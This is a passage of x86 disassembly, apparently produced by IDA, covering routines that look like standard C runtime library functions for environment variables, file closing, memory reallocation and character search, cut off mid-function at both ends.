var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_409AA0
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_406FD7
		mov	ebx, dword_4080C0


loc_406F8F:				; CODE XREF: sub_406F76+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_406FDF
		push	ebp
		call	sub_4028C6
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_406FDF
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx
		test	eax, eax
		jz	short loc_406FDF
		push	edi
		push	[esp+18h+var_4]
		call	sub_40730E
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_406F8F


loc_406FD7:				; CODE XREF: sub_406F76+11j
		xor	eax, eax


loc_406FD9:				; CODE XREF: sub_406F76+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_406FDF:				; CODE XREF: sub_406F76+29j
					; sub_406F76+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_406FD9
sub_406F76	endp


; =============== S U B	R O U T	I N E =======================================



sub_406FE4	proc near		; CODE XREF: sub_405B7A+FC4p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_406FF9
		or	eax, 0FFFFFFFFh
		jmp	short loc_407033
; ---------------------------------------------------------------------------


loc_406FF9:				; CODE XREF: sub_406FE4+Ej
		test	al, 83h
		jz	short loc_407031
		push	esi
		call	sub_406BAF
		push	esi
		mov	edi, eax
		call	sub_407607
		push	dword ptr [esi+10h]
		call	sub_407554
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_40701F
		or	edi, 0FFFFFFFFh
		jmp	short loc_407031
; ---------------------------------------------------------------------------


loc_40701F:				; CODE XREF: sub_406FE4+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_407031
		push	eax
		call	sub_402B18
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_407031:				; CODE XREF: sub_406FE4+17j
					; sub_406FE4+39j ...
		mov	eax, edi


loc_407033:				; CODE XREF: sub_406FE4+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_406FE4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40703A	proc near		; CODE XREF: sub_406B74+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_518660
		jnb	short loc_407083
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_518560[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_407083
		push	eax
		call	sub_406A62
		pop	ecx
		push	eax
		call	dword_408010
		test	eax, eax
		jnz	short loc_407078
		call	dword_408044
		jmp	short loc_40707A
; ---------------------------------------------------------------------------


loc_407078:				; CODE XREF: sub_40703A+34j
		xor	eax, eax


loc_40707A:				; CODE XREF: sub_40703A+3Cj
		test	eax, eax
		jz	short locret_407090
		mov	dword_409A74, eax


loc_407083:				; CODE XREF: sub_40703A+Aj
					; sub_40703A+22j
		mov	dword_409A70, 9
		or	eax, 0FFFFFFFFh

locret_407090:				; CODE XREF: sub_40703A+42j
		retn
sub_40703A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407091	proc near		; CODE XREF: sub_406F37+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_408558
		push	offset sub_402E08
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	dword_409CF8, ebx
		push	1
		pop	edi
		jnz	short loc_407104
		push	edi
		mov	eax, offset dword_4084F0
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_408034
		test	eax, eax
		jz	short loc_4070E1
		mov	dword_409CF8, edi
		jmp	short loc_407104
; ---------------------------------------------------------------------------


loc_4070E1:				; CODE XREF: sub_407091+46j
		push	edi
		mov	eax, offset dword_4084EC
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	dword_40800C
		test	eax, eax
		jz	loc_4072FA
		mov	dword_409CF8, 2


loc_407104:				; CODE XREF: sub_407091+31j
					; sub_407091+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_40711B
		push	esi
		push	[ebp+arg_8]
		call	sub_406F0C
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_40711B:				; CODE XREF: sub_407091+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_407130
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_406F0C
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_407130:				; CODE XREF: sub_407091+8Dj
		mov	eax, dword_409CF8
		cmp	eax, 2
		jnz	short loc_407155
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_40800C
		jmp	loc_4072FC
; ---------------------------------------------------------------------------


loc_407155:				; CODE XREF: sub_407091+A7j
		cmp	eax, edi
		jnz	loc_4072FA
		cmp	[ebp+arg_18], ebx
		jnz	short loc_40716A
		mov	eax, dword_409CEC
		mov	[ebp+arg_18], eax


loc_40716A:				; CODE XREF: sub_407091+CFj
		cmp	esi, ebx
		jz	short loc_407177
		cmp	[ebp+arg_14], ebx
		jnz	loc_40720F


loc_407177:				; CODE XREF: sub_407091+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_407184


loc_40717C:				; CODE XREF: sub_407091+13Cj
					; sub_407091+16Dj
		push	2


loc_40717E:				; CODE XREF: sub_407091+146j
		pop	eax
		jmp	loc_4072FC
; ---------------------------------------------------------------------------


loc_407184:				; CODE XREF: sub_407091+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_407190


loc_407189:				; CODE XREF: sub_407091+151j
					; sub_407091+159j ...
		mov	eax, edi
		jmp	loc_4072FC
; ---------------------------------------------------------------------------


loc_407190:				; CODE XREF: sub_407091+F6j
		cmp	esi, edi
		jg	short loc_4071D5
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	dword_408030
		test	eax, eax
		jz	loc_4072FA
		cmp	esi, ebx
		jle	short loc_4071D9
		cmp	[ebp+var_3C], 2
		jb	short loc_4071D5
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_4071D5


loc_4071BB:				; CODE XREF: sub_407091+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_4071D5
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_4071CF
		cmp	cl, dl
		jbe	short loc_40717C


loc_4071CF:				; CODE XREF: sub_407091+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4071BB


loc_4071D5:				; CODE XREF: sub_407091+101j
					; sub_407091+120j ...
		push	3
		jmp	short loc_40717E
; ---------------------------------------------------------------------------


loc_4071D9:				; CODE XREF: sub_407091+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_40720F
		cmp	[ebp+var_3C], 2
		jb	short loc_407189
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_407189


loc_4071EC:				; CODE XREF: sub_407091+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_407189
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_407204
		cmp	cl, dl
		jbe	loc_40717C


loc_407204:				; CODE XREF: sub_407091+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4071EC
		jmp	loc_407189
; ---------------------------------------------------------------------------


loc_40720F:				; CODE XREF: sub_407091+E0j
					; sub_407091+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	dword_40803C
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_4072FA
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_402CE0
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_40725E
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_40725E:				; CODE XREF: sub_407091+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_4072FA
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, dword_40803C
		call	esi
		test	eax, eax
		jz	short loc_4072FA
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_4072FA
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_402CE0
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4072C9
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_4072C9:				; CODE XREF: sub_407091+224j
		cmp	edi, ebx
		jz	short loc_4072FA
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	dword_40803C
		test	eax, eax
		jz	short loc_4072FA
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_408034
		jmp	short loc_4072FC
; ---------------------------------------------------------------------------


loc_4072FA:				; CODE XREF: sub_407091+63j
					; sub_407091+C6j ...
		xor	eax, eax


loc_4072FC:				; CODE XREF: sub_407091+BFj
					; sub_407091+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_407091	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40730E	proc near		; CODE XREF: sub_406F76+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_407372
		push	3Dh
		push	[ebp+arg_0]
		call	sub_407752
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_407372
		cmp	[ebp+arg_0], esi
		jz	short loc_407372
		mov	eax, dword_409A98
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, dword_409A9C
		jnz	short loc_407358
		push	eax
		call	sub_4074ED
		pop	ecx
		mov	dword_409A98, eax


loc_407358:				; CODE XREF: sub_40730E+3Cj
		cmp	eax, edi
		jnz	short loc_4073B0
		cmp	[ebp+arg_4], edi
		jz	short loc_40737A
		cmp	dword_409AA0, edi
		jz	short loc_40737A
		call	sub_406F76
		test	eax, eax
		jz	short loc_4073B0


loc_407372:				; CODE XREF: sub_40730E+Dj
					; sub_40730E+22j ...
		or	eax, 0FFFFFFFFh


loc_407375:				; CODE XREF: sub_40730E+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40737A:				; CODE XREF: sub_40730E+51j
					; sub_40730E+59j
		cmp	ebx, edi
		jnz	loc_40748E
		push	4
		call	sub_4028C6
		cmp	eax, edi
		pop	ecx
		mov	dword_409A98, eax
		jz	short loc_407372
		mov	[eax], edi
		cmp	dword_409AA0, edi
		jnz	short loc_4073B0
		push	4
		call	sub_4028C6
		cmp	eax, edi
		pop	ecx
		mov	dword_409AA0, eax
		jz	short loc_407372
		mov	[eax], edi


loc_4073B0:				; CODE XREF: sub_40730E+4Cj
					; sub_40730E+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_409A98
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_407495
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_407410
		cmp	dword ptr [edi], 0
		jz	short loc_407410
		test	ebx, ebx
		jz	short loc_407408
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_402B18
		pop	ecx


loc_4073E2:				; CODE XREF: sub_40730E+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_4073F2
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_4073E2
; ---------------------------------------------------------------------------


loc_4073F2:				; CODE XREF: sub_40730E+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_407632
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407442
		jmp	short loc_40743D
; ---------------------------------------------------------------------------


loc_407408:				; CODE XREF: sub_40730E+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_407442
; ---------------------------------------------------------------------------


loc_407410:				; CODE XREF: sub_40730E+BDj
					; sub_40730E+C2j
		test	ebx, ebx
		jnz	short loc_40748E
		test	esi, esi
		jge	short loc_40741A
		neg	esi


loc_40741A:				; CODE XREF: sub_40730E+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_407632
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_407372
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_40743D:				; CODE XREF: sub_40730E+F8j
		mov	dword_409A98, eax


loc_407442:				; CODE XREF: sub_40730E+F6j
					; sub_40730E+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_40748E
		push	[ebp+arg_0]
		call	sub_405B90
		inc	eax
		inc	eax
		push	eax
		call	sub_4028C6
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40748E
		push	[ebp+arg_0]
		push	esi
		call	sub_4062D0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	dword_408060
		push	esi
		call	sub_402B18
		pop	ecx


loc_40748E:				; CODE XREF: sub_40730E+6Ej
					; sub_40730E+104j ...
		xor	eax, eax
		jmp	loc_407375
sub_40730E	endp


; =============== S U B	R O U T	I N E =======================================



sub_407495	proc near		; CODE XREF: sub_40730E+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_409A98
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_4074D0
		mov	edi, [esp+8+arg_4]


loc_4074A7:				; CODE XREF: sub_407495+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_406F37
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4074C6
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_4074E0
		test	al, al
		jz	short loc_4074E0


loc_4074C6:				; CODE XREF: sub_407495+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_4074A7


loc_4074D0:				; CODE XREF: sub_407495+Cj
		mov	eax, esi
		sub	eax, dword_409A98
		sar	eax, 2
		neg	eax


loc_4074DD:				; CODE XREF: sub_407495+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4074E0:				; CODE XREF: sub_407495+2Bj
					; sub_407495+2Fj
		mov	eax, esi
		sub	eax, dword_409A98
		sar	eax, 2
		jmp	short loc_4074DD
sub_407495	endp


; =============== S U B	R O U T	I N E =======================================



sub_4074ED	proc near		; CODE XREF: sub_40730E+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_4074FC
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4074FC:				; CODE XREF: sub_4074ED+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_40750E


loc_407504:				; CODE XREF: sub_4074ED+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_407504


loc_40750E:				; CODE XREF: sub_4074ED+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_4028C6
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_40752F
		push	9
		call	sub_402FD6
		pop	ecx


loc_40752F:				; CODE XREF: sub_4074ED+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_407533:				; CODE XREF: sub_4074ED+5Bj
		test	eax, eax
		jz	short loc_40754A
		push	eax
		add	ebx, 4
		call	sub_4077C5
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_407533
; ---------------------------------------------------------------------------


loc_40754A:				; CODE XREF: sub_4074ED+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_4074ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_407554	proc near		; CODE XREF: sub_406FE4+2Ap

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_518660
		jnb	loc_4075EE
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:518560h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_4075EE
		push	edi
		call	sub_406A62
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4075CD
		cmp	edi, 1
		jz	short loc_40759B
		cmp	edi, 2
		jnz	short loc_4075B1


loc_40759B:				; CODE XREF: sub_407554+40j
		push	2
		call	sub_406A62
		push	1
		mov	ebp, eax
		call	sub_406A62
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_4075CD


loc_4075B1:				; CODE XREF: sub_407554+45j
		push	edi
		call	sub_406A62
		pop	ecx
		push	eax
		call	dword_408090
		test	eax, eax
		jnz	short loc_4075CD
		call	dword_408044
		mov	ebp, eax
		jmp	short loc_4075CF
; ---------------------------------------------------------------------------


loc_4075CD:				; CODE XREF: sub_407554+3Bj
					; sub_407554+5Bj ...
		xor	ebp, ebp


loc_4075CF:				; CODE XREF: sub_407554+77j
		push	edi
		call	sub_4069E8
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_4075EA
		push	ebp
		call	sub_406981
		pop	ecx
		jmp	short loc_4075FF
; ---------------------------------------------------------------------------


loc_4075EA:				; CODE XREF: sub_407554+8Bj
		xor	eax, eax
		jmp	short loc_407602
; ---------------------------------------------------------------------------


loc_4075EE:				; CODE XREF: sub_407554+Ej
					; sub_407554+2Fj
		and	dword_409A74, 0
		mov	dword_409A70, 9


loc_4075FF:				; CODE XREF: sub_407554+94j
		or	eax, 0FFFFFFFFh


loc_407602:				; CODE XREF: sub_407554+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_407554	endp


; =============== S U B	R O U T	I N E =======================================



sub_407607	proc near		; CODE XREF: sub_406FE4+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_407630
		test	al, 8
		jz	short loc_407630
		push	dword ptr [esi+8]
		call	sub_402B18
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_407630:				; CODE XREF: sub_407607+Aj
					; sub_407607+Ej
		pop	esi
		retn
sub_407607	endp


; =============== S U B	R O U T	I N E =======================================



sub_407632	proc near		; CODE XREF: sub_40730E+EDp
					; sub_40730E+115p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	ebp
		push	esi
		test	ebx, ebx
		push	edi
		jnz	short loc_40764D
		push	[esp+10h+arg_4]
		call	sub_4028C6
		pop	ecx
		jmp	loc_40774D
; ---------------------------------------------------------------------------


loc_40764D:				; CODE XREF: sub_407632+Aj
		mov	esi, [esp+10h+arg_4]
		test	esi, esi
		jnz	short loc_407663
		push	ebx
		call	sub_402B18
		pop	ecx


loc_40765C:				; CODE XREF: sub_407632+114j
		xor	eax, eax
		jmp	loc_40774D
; ---------------------------------------------------------------------------


loc_407663:				; CODE XREF: sub_407632+21j
					; sub_407632+10Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_40772E
		push	ebx
		call	sub_4030B4
		mov	ebp, eax
		pop	ecx
		test	ebp, ebp
		jz	loc_40770B
		cmp	esi, dword_4090EC
		ja	short loc_4076CB
		push	esi
		push	ebx
		push	ebp
		call	sub_4038BF
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40769A
		mov	edi, ebx
		jmp	short loc_4076C3
; ---------------------------------------------------------------------------


loc_40769A:				; CODE XREF: sub_407632+62j
		push	esi
		call	sub_40340A
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_4076CB
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_4076B1
		mov	eax, esi


loc_4076B1:				; CODE XREF: sub_407632+7Bj
		push	eax
		push	ebx
		push	edi
		call	sub_4063C0
		push	ebx
		push	ebp
		call	sub_4030DF
		add	esp, 14h


loc_4076C3:				; CODE XREF: sub_407632+66j
		test	edi, edi
		jnz	loc_40774B


loc_4076CB:				; CODE XREF: sub_407632+53j
					; sub_407632+73j
		test	esi, esi
		jnz	short loc_4076D2
		push	1
		pop	esi


loc_4076D2:				; CODE XREF: sub_407632+9Bj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_51867C
		call	dword_40806C
		mov	edi, eax
		test	edi, edi
		jz	short loc_40772E
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_4076F7
		mov	eax, esi


loc_4076F7:				; CODE XREF: sub_407632+C1j
		push	eax
		push	ebx
		push	edi
		call	sub_4063C0
		push	ebx
		push	ebp
		call	sub_4030DF
		add	esp, 14h
		jmp	short loc_40772A
; ---------------------------------------------------------------------------


loc_40770B:				; CODE XREF: sub_407632+47j
		test	esi, esi
		jnz	short loc_407712
		push	1
		pop	esi


loc_407712:				; CODE XREF: sub_407632+DBj
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	ebx
		push	0
		push	dword_51867C
		call	dword_4080B0
		mov	edi, eax


loc_40772A:				; CODE XREF: sub_407632+D7j
		test	edi, edi
		jnz	short loc_40774B


loc_40772E:				; CODE XREF: sub_407632+36j
					; sub_407632+B9j
		cmp	dword_409AE4, 0
		jz	short loc_40774B
		push	esi
		call	sub_40301F
		test	eax, eax
		pop	ecx
		jnz	loc_407663
		jmp	loc_40765C
; ---------------------------------------------------------------------------


loc_40774B:				; CODE XREF: sub_407632+93j
					; sub_407632+FAj ...
		mov	eax, edi


loc_40774D:				; CODE XREF: sub_407632+16j
					; sub_407632+2Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_407632	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407752	proc near		; CODE XREF: sub_40730E+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_51730C, 0
		jnz	short loc_40776D
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_407800
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40776D:				; CODE XREF: sub_407752+Aj
		mov	ecx, [ebp+arg_0]


loc_407770:				; CODE XREF: sub_407752+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_4077B3
		movzx	edx, al
		test	byte_517421[edx], 4
		jz	short loc_40779F
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_4077AA
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_4077AE
		jmp	short loc_4077A7
; ---------------------------------------------------------------------------


loc_40779F:				; CODE XREF: sub_407752+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_4077B3


loc_4077A7:				; CODE XREF: sub_407752+4Bj
		inc	ecx
		jmp	short loc_407770
; ---------------------------------------------------------------------------


loc_4077AA:				; CODE XREF: sub_407752+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4077AE:				; CODE XREF: sub_407752+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_4077B3:				; CODE XREF: sub_407752+25j
					; sub_407752+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_407752	endp


; =============== S U B	R O U T	I N E =======================================



sub_4077C5	proc near		; CODE XREF: sub_4017F0+783p
					; sub_4074ED+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_4077EC
		push	esi
		call	sub_405B90
		inc	eax
		push	eax
		call	sub_4028C6
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4077EC
		push	esi
		push	eax
		call	sub_4062D0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4077EC:				; CODE XREF: sub_4077C5+7j
					; sub_4077C5+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_4077C5	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_407800


loc_4077F0:				; CODE XREF: sub_407800+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_407800
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_407800	proc near		; CODE XREF: sub_407752+12p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 004077F0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_40782B


loc_407818:				; CODE XREF: sub_407800+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_4077F0
		test	cl, cl
		jz	short loc_407874
		test	edx, 3
		jnz	short loc_407818


loc_40782B:				; CODE XREF: sub_407800+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_407836:				; CODE XREF: sub_407800+61j
					; sub_407800+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_407878
		and	eax, 81010100h
		jz	short loc_407836
		and	eax, 1010100h
		jnz	short loc_407872
		and	esi, 80000000h
		jnz	short loc_407836


loc_407872:				; CODE XREF: sub_407800+68j
					; sub_407800+81j ...
		pop	esi
		pop	edi


loc_407874:				; CODE XREF: sub_407800+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_407878:				; CODE XREF: sub_407800+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_4078B5
		test	al, al
		jz	short loc_407872
		cmp	ah, bl
		jz	short loc_4078AE
